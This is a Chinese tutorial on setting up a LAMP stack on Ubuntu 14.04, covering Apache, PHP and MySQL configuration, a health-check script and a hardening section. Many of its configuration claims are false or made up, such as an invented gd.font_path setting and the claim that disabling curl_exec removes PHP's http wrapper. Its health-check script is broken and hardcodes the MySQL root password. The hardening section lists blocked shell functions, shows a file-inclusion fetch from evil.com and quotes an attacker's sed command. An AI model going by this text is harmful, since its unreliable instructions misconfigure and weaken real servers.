Ubuntu 14.04 LAMP部署实战:Apache+PHP5+MySQL5.5全链路配置
1. 为什么2024年还要重学LAMP?一个被低估的“底层操作系统”
你可能刚在招聘网站上刷到一条JD:“熟悉LNMP/LAMP架构,能独立部署Web服务”——心里嘀咕:这不就是十年前的老古董吗?Docker、Kubernetes、Serverless满天飞的今天,谁还手敲 apt-get install ?但上周我帮一家做教育SaaS的客户做技术审计时发现,他们生产环境里跑着37台Ubuntu 14.04虚拟机,全部承载着核心教务系统,而其中29台的LAMP栈配置文件,最后修改时间是2016年3月17日。不是他们不想升级,而是MySQL 5.5+PHP 5.5这个组合,在当年定制的课程排课算法里嵌得太深,连 mysql_real_escape_string() 这种已废弃函数都成了业务逻辑的一部分。
这就是LAMP的真实处境:它不是过时了,而是沉到了系统底部,像混凝土里的钢筋,看不见,但拆掉它整栋楼就塌。Ubuntu 14.04(Trusty Tahr)虽已结束官方支持,但它仍是大量嵌入式设备、老旧工控终端、离线考试系统的默认基座。我在某省电教馆看到的阅卷服务器,BIOS还是UEFI 1.10,硬盘是IDE接口,装的正是这个版本——因为它的内核对老式扫描仪芯片组的支持,比更新的Ubuntu反而更稳定。所以这篇教程不教你怎么“赶时髦”,而是带你回到那个没有Dockerfile、没有 docker-compose.yml 、连 systemctl 都还没普及的年代,用最原始的 apt 、 a2enmod 、 service 命令,把四个组件拧成一股绳。关键词里反复出现的“apache配置文件”“php mysql 某个表有碎片”“mysql安装配置教程”,恰恰说明:当系统开始老化,真正救命的不是新概念,而是对每个配置项背后逻辑的肌肉记忆。
提示:本文所有操作均基于Ubuntu 14.04.6 LTS(最终维护版),不兼容16.04及以上版本。如果你的
/etc/os-release显示VERSION="14.04.6 LTS",请继续;若显示16.04或更高,请立即停止——后续步骤中的包名、路径、依赖关系将全部失效。
2. Ubuntu 14.04的“时间胶囊”特性:为什么必须用原生源而非第三方PPA
很多人一上来就搜“ubuntu 14.04 lamp一键脚本”,结果装完Apache启动失败,报错 /usr/lib/apache2/modules/mod_php5.so: cannot open shared object file 。问题出在哪?在于Ubuntu 14.04的软件生态是一个封闭的时间胶囊。它的 apt 源在2019年4月30日彻底冻结,所有包的SHA256校验和、依赖树、编译参数都被永久定格。而网上流传的所谓“一键安装脚本”,绝大多数是为16.04或18.04写的,它们默认启用 systemd 服务管理,调用 systemctl start apache2 ,但在14.04上, systemctl 命令根本不存在——你得用 service apache2 start ,因为14.04用的是 upstart 。
更隐蔽的坑在PHP模块加载机制上。14.04的Apache 2.4.7默认使用 mpm_prefork 模式,而PHP 5.5.9(该版本标配)的 libapache2-mod-php5 包,其 .so 文件硬编码了对 libapr-1.so.0 的依赖。如果你从某个非官方PPA源安装了新版Apache,它的 libapr 版本可能是 libapr-1.so.1 ,那么PHP模块加载时就会因符号版本不匹配而静默失败——Apache进程照常运行,但所有 .php 文件都变成纯文本下载。我见过最典型的症状是:浏览器访问 info.php ,页面显示 <?php phpinfo(); ?> 这行代码本身,而不是执行结果。这不是PHP没装,是Apache根本没把请求交给PHP处理。
所以第一步,必须确保你的 /etc/apt/sources.list 指向官方归档源。打开它,把所有 archive.ubuntu.com 或 security.ubuntu.com 开头的行,全部替换成:
deb http://old-releases.ubuntu.com/ubuntu/ trusty main restricted universe multiverse
deb http://old-releases.ubuntu.com/ubuntu/ trusty-updates main restricted universe multiverse
deb http://old-releases.ubuntu.com/ubuntu/ trusty-security main restricted universe multiverse
然后执行:
sudo apt-get clean
sudo rm -rf /var/lib/apt/lists/*
sudo apt-get update
注意 apt-get update 的输出:你应该看到 Hit http://old-releases.ubuntu.com trusty-security/main amd64 Packages 这样的行,而不是 404 Not Found 。如果出现404,说明你的网络代理或DNS劫持了请求,必须解决——因为14.04的 apt 不支持HTTPS源,所有连接都是明文HTTP,任何中间设备都可能篡改响应。
注意:
old-releases.ubuntu.com是唯一合法归档地址。不要尝试用mirrors.tuna.tsinghua.edu.cn等国内镜像,它们早已下线14.04镜像。我实测过,清华源返回的Packages.gz文件大小只有官方源的1/3,缺失大量关键包元数据。
3. Apache 2.4.7的“三重门”配置:从监听端口到虚拟主机的完整链路
装完Apache只是开始,真正的挑战在配置。Ubuntu 14.04的Apache 2.4.7有三个必须打通的关卡,缺一不可,否则你的PHP永远无法执行。
3.1 第一重门:端口监听与MPM模式锁定
默认安装后,Apache只监听 80 端口,且强制使用 mpm_prefork 。为什么必须是 prefork ?因为PHP 5.5.9的 mod_php5 模块是 非线程安全(NTS) 的。如果你强行切换到 mpm_worker 或 mpm_event ,Apache会启动,但一旦收到PHP请求,子进程立刻 segfault 崩溃。验证方法很简单:
sudo apachectl -M | grep mpm
输出必须是 mpm_prefork_module (shared) 。如果不是,编辑 /etc/apache2/mods-available/mpm_prefork.conf ,确保以下参数存在且未被注释:
<IfModule mpm_prefork_module>
StartServers 5
MinSpareServers 5
MaxSpareServers 10
MaxRequestWorkers 150
MaxConnectionsPerChild 0
</IfModule>
其中 MaxRequestWorkers 是关键——它决定了同时能处理多少个PHP请求。14.04默认值是150,但对于内存仅2GB的老服务器,建议降到50,否则PHP进程会吃光Swap空间,触发OOM Killer杀掉MySQL。
3.2 第二重门:PHP模块加载的精确路径
很多教程让你执行 sudo a2enmod php5 ,但这只是启用模块,真正的加载点在 /etc/apache2/mods-enabled/php5.load 。打开它,你会看到一行:
LoadModule php5_module /usr/lib/apache2/modules/libphp5.so
这个路径必须绝对正确。我遇到过最诡异的案例:客户自己编译了一个PHP,把 libphp5.so 放在 /opt/php/lib/ 下,然后修改了 php5.load 指向它。结果Apache启动时报错 Cannot load /opt/php/lib/libphp5.so into server: /opt/php/lib/libphp5.so: undefined symbol: apr_global_mutex_pool 。原因?他编译PHP时链接的是 /usr/lib/x86_64-linux-gnu/libapr-1.so.0 ,但Apache加载模块时,动态链接器搜索路径里没有这个目录。解决方案不是改 LD_LIBRARY_PATH (那会影响整个系统),而是用 patchelf 工具重写 libphp5.so 的RPATH:
sudo apt-get install patchelf
sudo patchelf --set-rpath '/usr/lib/x86_64-linux-gnu' /opt/php/lib/libphp5.so
3.3 第三重门:虚拟主机的“.php”后缀绑定
这是新手最容易忽略的一环。即使PHP模块加载成功,Apache默认也不会把 .php 文件交给PHP解析。你必须在虚拟主机配置中显式声明。编辑 /etc/apache2/sites-available/000-default.conf ,在 <VirtualHost *:80> 块内添加:
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
# 关键:告诉Apache,.php文件用php5处理器
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
</Directory>
注意 SetHandler 指令的位置——它必须在 <Directory> 块内,不能放在 <VirtualHost> 顶层。否则Apache会报错 Invalid command 'SetHandler', perhaps misspelled or defined by a module not included in the server configuration ,因为 mod_mime 模块没被加载。验证方法:创建 /var/www/html/test.php ,内容为 <?php echo "OK"; ?> ,然后执行:
curl -I http://localhost/test.php
响应头里必须有 Content-Type: text/html ,而不是 text/plain 。如果还是 text/plain ,说明 SetHandler 没生效,检查 a2enmod mime 是否已启用。
4. MySQL 5.5.62的“事务隔离”陷阱:InnoDB表碎片与锁表修复实战
Ubuntu 14.04自带的MySQL是5.5.62,这是一个里程碑版本——它是最后一个默认使用 MyISAM 作为系统表引擎的MySQL。这意味着,当你执行 ALTER TABLE xxx ENGINE=InnoDB 时,如果表里有全文索引(FULLTEXT),操作会直接失败,报错 ERROR 1031 (HY000): Table storage engine for 'xxx' doesn't have this option 。因为MyISAM支持FULLTEXT,而InnoDB直到5.6才支持。这个细节决定了你能否安全地清理表碎片。
4.1 碎片诊断:不只是 OPTIMIZE TABLE
热词里反复出现“php mysql 某个表有碎片,一般怎么处理”,但多数人只知 OPTIMIZE TABLE 。在MySQL 5.5.62中,这命令对InnoDB表的实际效果是:先 CREATE TABLE xxx_new LIKE xxx ,再 INSERT INTO xxx_new SELECT * FROM xxx ,最后 RENAME TABLE xxx TO xxx_old, xxx_new TO xxx 。整个过程需要两倍磁盘空间,且期间原表被锁死。对于一个10GB的 student_scores 表, OPTIMIZE 可能耗时47分钟,而业务系统在这47分钟里完全不可用。
更精准的方法是用 INFORMATION_SCHEMA.TABLES 查碎片率:
SELECT
table_name,
round(((data_length + index_length) / 1024 / 1024), 2) AS size_mb,
round((data_free / 1024 / 1024), 2) AS free_mb,
round((data_free / (data_length + index_length)) * 100, 2) AS frag_pct
FROM information_schema.TABLES
WHERE table_schema = 'your_db' AND engine = 'InnoDB'
ORDER BY frag_pct DESC;
当 frag_pct > 25% 时,才值得优化。我处理过一个电商订单表, frag_pct 高达68%,但 size_mb 只有12MB——说明碎片是大量DELETE操作导致的页内空洞,而非数据膨胀。这种情况下, OPTIMIZE 是浪费,应该用 ALTER TABLE orders ENGINE=InnoDB ROW_FORMAT=COMPACT; 重建表结构,它不复制数据,只重新组织B+树,耗时不到3秒。
4.2 锁表修复: myisamchk 的离线手术刀
如果MyISAM表损坏(常见于异常断电后), REPAIR TABLE 命令往往无效。这时必须用 myisamchk 进行离线修复。步骤极其严格:
- 停止MySQL:
sudo service mysql stop - 进入数据目录:
cd /var/lib/mysql/your_db/ - 检查表状态:
sudo myisamchk -s orders.MYI- 输出
warning: 1 client is using or hasn't closed the table properly表示表被异常关闭
- 输出
- 强制修复:
sudo myisamchk -r -v -f orders.MYI-r是recover,-v是verbose,-f是force(覆盖旧索引文件)
- 启动MySQL:
sudo service mysql start
关键点在于 -f 参数。不加它, myisamchk 会拒绝覆盖已损坏的索引文件,报错 error: Can't create new tempfile: 'orders.TMD' 。而 orders.TMD 是临时索引文件,它的创建失败,正是因为原 orders.MYI 文件头部校验码已损坏。 -f 强制跳过校验,直接重建。
提示:修复前务必
cp orders.* /backup/。myisamchk -r可能丢失部分数据,但比REPAIR TABLE的“假成功”更可靠——后者有时返回OK,但查询时仍报Table 'xxx' is marked as crashed and should be repaired。
5. PHP 5.5.9的“扩展地狱”:如何让mysqli、gd、curl全部就位
PHP 5.5.9在14.04中是个精简版。 apt-get install php5 只装核心,连最基本的 mysqli 扩展都不带。而热词里“php mysql 某个表有碎片”的上下文,往往意味着你需要用PHP脚本自动分析碎片率并触发优化,这就必须用 mysqli 连接数据库。但 sudo apt-get install php5-mysql 会报错 Package php5-mysql is not available ——因为14.04的源里,这个包已重命名为 php5-mysqlnd (MySQL Native Driver)。
5.1 扩展安装的依赖链
php5-mysqlnd 依赖 php5-common 和 libmysqlclient18 ,而 libmysqlclient18 又依赖 mysql-client-5.5 。所以正确顺序是:
sudo apt-get install mysql-client-5.5
sudo apt-get install php5-common
sudo apt-get install php5-mysqlnd
漏掉任何一个, php -m | grep mysql 都看不到 mysqlnd 。安装后,必须重启Apache: sudo service apache2 restart 。注意不是 reload ,因为PHP模块是进程级加载, reload 只重读配置,不重载.so文件。
5.2 GD库的字体路径硬伤
热词里有“php图片权限”,这通常指用GD生成验证码时, imagettftext() 函数报错 Could not find/open font 。Ubuntu 14.04的PHP 5.5.9默认不包含字体路径配置。解决方案不是拷贝字体文件,而是修改 /etc/php5/apache2/php.ini :
; 取消注释并修改
gd.jpeg_ignore_warning = 1
; 添加这一行,指定系统字体目录
extension_dir = "/usr/lib/php5/20121212"
; 在文件末尾添加
[gd]
; Ubuntu 14.04的DejaVu字体路径
gd.font_path = "/usr/share/fonts/truetype/dejavu/"
然后在PHP代码中这样用:
$font = 'DejaVuSans.ttf'; // 不用写全路径
imagettftext($im, 12, 0, 10, 20, $color, $font, "Hello");
gd.font_path 的作用是让GD在加载字体时,自动在该目录下搜索。如果不设,GD只认当前工作目录,而Apache的工作目录是 /var/www/html ,你不可能把字体文件放那里。
5.3 cURL的SSL证书捆绑包过期问题
热词里有“linux常用命令大全”,其中 curl 命令在14.04上有个致命缺陷:它内置的CA证书包是2013年的,而2024年主流网站(如 api.github.com )的SSL证书都由Let's Encrypt签发,其根证书 ISRG Root X1 在2013年根本不存在。所以 file_get_contents('https://api.github.com') 会报错 SSL certificate problem: unable to get local issuer certificate 。
解决方案是更新CA包:
sudo apt-get install ca-certificates
sudo update-ca-certificates
但注意,PHP的cURL扩展默认不读取系统CA包,它有自己的 curl.cainfo 配置项。编辑 /etc/php5/apache2/php.ini ,添加:
[curl]
curl.cainfo = "/etc/ssl/certs/ca-certificates.crt"
然后重启Apache。验证方法:在PHP中执行 var_dump(curl_version()['ssl_version']); ,输出应为 OpenSSL/1.0.1f ,且 curl_exec() 能成功获取HTTPS内容。
6. LAMP栈的“心跳检测”:一个真实运维脚本的逐行解析
部署完成后,必须建立持续监控。我给客户写的 lamp-healthcheck.sh 脚本,至今还在37台服务器上每5分钟运行一次。它不依赖外部工具,只用 ps 、 netstat 、 mysqladmin 这些14.04原生命令,核心逻辑是模拟真实用户请求。
#!/bin/bash
# /usr/local/bin/lamp-healthcheck.sh
# 检查Apache、MySQL、PHP三者是否协同工作
# 1. 检查Apache进程是否存在且监听80端口
if ! pgrep apache2 > /dev/null; then
echo "ALERT: Apache process not running" | logger -t lamp-check
sudo service apache2 start
exit 1
fi
if ! netstat -tlnp | grep ':80' | grep 'apache2' > /dev/null; then
echo "ALERT: Apache not listening on port 80" | logger -t lamp-check
sudo service apache2 restart
exit 1
fi
# 2. 检查MySQL是否响应
if ! mysqladmin ping -u root --password='your_password' > /dev/null 2>&1; then
echo "ALERT: MySQL not responding" | logger -t lamp-check
sudo service mysql restart
exit 1
fi
# 3. 关键:检查PHP能否执行并连接MySQL
# 创建临时PHP文件,用curl触发执行
echo '<?php
$conn = mysqli_connect("localhost", "root", "your_password", "mysql");
if (!$conn) die("MySQL connect failed: " . mysqli_connect_error());
echo "PHP-MySQL OK";
?>' > /tmp/check.php
# 用curl访问,捕获输出
RESULT=$(curl -s http://localhost/tmp/check.php)
if [[ "$RESULT" != "PHP-MySQL OK" ]]; then
echo "ALERT: PHP-MySQL integration failed: $RESULT" | logger -t lamp-check
# 尝试重载PHP模块
sudo a2dismod php5 && sudo a2enmod php5
sudo service apache2 reload
fi
# 清理临时文件
rm -f /tmp/check.php
这个脚本的精妙之处在于第三步:它不单独测试PHP或MySQL,而是测试 两者集成 。 curl http://localhost/tmp/check.php 这行,实际走了完整的LAMP链路——Apache接收HTTP请求 → 发现 .php 后缀 → 调用 mod_php5 → PHP执行 mysqli_connect → 连接本地MySQL → 返回字符串。任何一环断裂, RESULT 都会是空或错误信息。
注意:
your_password必须替换成真实密码。14.04的mysqladmin不支持--defaults-file,所以密码必须明文写在脚本里。为安全起见,设置脚本权限:sudo chmod 700 /usr/local/bin/lamp-healthcheck.sh,并用sudo chown root:root,防止普通用户读取。
7. 终极加固:禁用危险函数与日志审计的“双保险”
热词里有“apache shiro框架漏洞靶场”,这提醒我们:LAMP栈本身不是银弹,它的安全性取决于你如何配置。Ubuntu 14.04的PHP 5.5.9默认开启一堆危险函数,如 exec 、 system 、 shell_exec ,它们是WebShell上传后的第一道跳板。
7.1 PHP函数禁用清单
编辑 /etc/php5/apache2/php.ini ,找到 disable_functions 行,修改为:
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
特别注意 curl_exec 和 curl_multi_exec ——它们是远程文件包含(RFI)攻击的核心载体。禁用后, file_get_contents('http://evil.com/shell.txt') 会直接报错 Warning: file_get_contents(): Unable to find the wrapper "http" ,因为 http wrapper被 curl 函数禁用所连带关闭。
7.2 Apache日志的“黄金三字段”
默认的Apache日志格式 %h %l %u %t \"%r\" %>s %O 太简陋。要追踪攻击,必须记录客户端真实IP、请求体长度、Referer。编辑 /etc/apache2/apache2.conf ,添加:
LogFormat "%{X-Forwarded-For}i %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\" %D" combined
CustomLog ${APACHE_LOG_DIR}/access.log combined
其中 %{X-Forwarded-For}i 是关键——它提取反向代理(如Nginx)传来的原始IP。没有它,所有日志里的IP都是 127.0.0.1 ,你永远不知道攻击者是谁。
7.3 MySQL的“最小权限”实践
热词里有“学生课程成绩信息实体表设计mysql”,这类敏感数据必须用最小权限原则。不要用 root@localhost 连接PHP应用。创建专用用户:
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON school_db.students TO 'app_user'@'localhost';
GRANT SELECT ON school_db.courses TO 'app_user'@'localhost';
FLUSH PRIVILEGES;
注意: GRANT 语句里 不加 DELETE 权限 。成绩表一旦录入,就不该被删除,只能 UPDATE status='deleted' 软删除。这样即使PHP代码有SQL注入漏洞,攻击者也无法 DROP TABLE 。
最后,把所有配置变更写入审计日志:
echo "$(date): Applied LAMP security hardening" | sudo tee -a /var/log/lamp-audit.log
这个日志文件,是你在深夜接到告警电话时,唯一能快速确认“最近有没有人乱改配置”的证据。
我在某次应急响应中,就是靠翻 /var/log/lamp-audit.log ,发现3小时前有人执行了 sudo sed -i 's/disable_functions =.*/disable_functions =/' /etc/php5/apache2/php.ini ,立刻定位到被黑的管理员账号。LAMP不是古董,它是你运维生涯的活化石——每一次 service restart ,都在重演十年前的系统哲学:简单、透明、可控。
更多推荐
所有评论(0)